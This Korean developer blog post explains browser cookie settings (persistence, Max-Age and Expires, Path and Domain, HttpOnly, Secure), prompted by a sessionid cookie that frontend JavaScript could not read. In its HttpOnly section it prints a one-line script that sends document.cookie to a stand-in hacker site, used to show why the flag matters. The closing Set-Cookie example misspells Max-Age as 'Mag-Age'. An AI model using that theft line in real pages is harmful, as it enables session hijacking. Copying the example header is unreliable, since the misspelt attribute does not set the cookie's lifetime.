🍪

쿠키에 대하여

게시일
2020/11/28
Tags
development

1. 삽질의 발단

1.
프론트앤드 개발을 진행하면서 로그인 여부를 확인하기 위해 sessionid 참조를 하였음
2.
근데 undefined가 나옴
3.
csrftoken 값을 가져오도록 해보았는데, 잘 돌아감
4.
csrftoken 값은 가져오는데, sessionid값은 못 가져오는지 모르겠어서 맨붕 중이었음
Untitled.png
예시로 작성했던 코드
Untitled_1.png
당시 sessionid의 쿠키 설정들

2. 쿠키 설정

Session cookie vs Permanent Cookie

Session cookie는 브라우저가 꺼지면 사라져 버리는 쿠키
반대로 Permanent cookie는 브라우저가 꺼져도 살아있는 쿠키를 의미함

Max-Age vs Expires Max-Age

Max-Age : 쿠키가 얼마동안 사는가 (초)
Expires: 쿠키가 언제 죽는가

Path & Domain

path
디렉토리를 지정을 하면 해당 디렉토리 하위에서만 쿠키가 노출됨. 상위엔 노출안됨.
예) /cookie 에 쿠키를 세팅을하면 / 에서는 안보이지만 lemonbase.com/cookie or lemonbase.com/cookie/sub 등에서는 보임
domain
example.com vs .example.com
test.example.com 으로 들어갔다고 하면 .example.com 으로 설정된 쿠키만 노출됨
Untitled_2.png

보안관련 설정(중요)

HTTP Only: 자바스크립트의 document.cookie를 이용해서 쿠키에 접속하는 것을 막는 옵션입니다.
location.href = ‘http://해커사이트/?cookies=’+ document.cookie;
이런식으로 해커들에게 손쉽게 쿠키값을 모두 탈취당할 수 있음
자바스크립트를 통한 쿠키 탈취 방지
Secure: https로 통신하는 경우에만 cookie를 전송한다
네트워크를 직접 감청하여 쿠키를 가로채는 것을 방지
쿠키 자체가 암호화되어 전송하게 됨
개발자가 아래와 같은 코드를 작성하게 되면 http를 통해 쿠키값이 공개되버리는 실수를 방지
<img src="http://www.example.com/images/logo.png" />
JavaScript

3. 쿠키 설정 예시

'Set-Cookie': [ 'test_cookie=cookie-test', `Permanent=cookie; Mag-Age=${60*60*24*30}`, // 30일 'Secure=secure; Secure', 'http-only=HttpOnly; HttpOnly', 'path=path; Path=/cookie-cookie', 'Domain=domain; Domain=example.org' ]
JavaScript